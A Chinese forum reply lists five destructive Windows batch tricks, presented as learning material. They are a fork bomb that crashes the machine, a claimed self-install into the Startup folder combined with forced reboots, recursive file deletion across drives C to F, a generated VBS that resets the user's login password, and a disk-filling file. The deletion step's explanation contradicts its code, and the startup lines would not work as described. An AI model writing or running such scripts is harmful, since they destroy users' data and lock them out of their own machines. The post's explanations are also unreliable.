很多,有幾個思路貢獻下
第一種
:1
start %0
goto 1
這個代碼會自己運行自己,產生無限窗口,直到內存爆滿死機。
第二種
%0 "C:\Documents and Settings\All Users\「開始」菜單\程序\啟動\*.*「
%0 "C:\Documents and Settings\Default User\「開始」菜單\程序\啟動\*.*"
%0 "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
加上這個代碼之後,會把自身添加到啟動菜單中(隨系統啟動而啟動,與shutdown -r -t 0搭配使用威力倍增)
第三種
for /R C:\ %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"
for /R D:\ %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"
for /R E:\ %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"
for /R F:\ %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"
這是刪除CDEF盤上面的gho文件,使用戶無法通過ghost恢復系統
第四種(特殊)
Echo Const strPassword = "wohenni"' >>1.vbs
echo Dim WshNetwork >>1.vbs
echo Set WshNetwork = CreateObject("WScript.Network") >>1.vbs
echo Dim userName >>1.vbs
echo userName = WshNetwork.userName&",user" >>1.vbs
echo Dim Domain >>1.vbs
echo Set Domain = GetObject("WinNT://./"&userName) >>1.vbs
echo Domain.SetPassword strPassword >>1.vbs
echo Domain.SetInfo >>1.vbs
echo dim gj >>1.vbs
echo on error resume next >>1.vbs
echo dim WSHshellA >>1.vbs
echo set WSHshellA = wscript.createobject("wscript.shell") >>1.vbs
start 「」 「1.vbs「
生成能把登錄密碼改為」wohenni」的VBS,並運行。
第五種
fsutil file createnew C:\1.hahaha 4096000
這是生成特定大小的文件,這句意思是在C盤下面生成1.hahaha,大小為4096000位元組
還有很多,不一一列舉了,希望您能更好地學習批處理!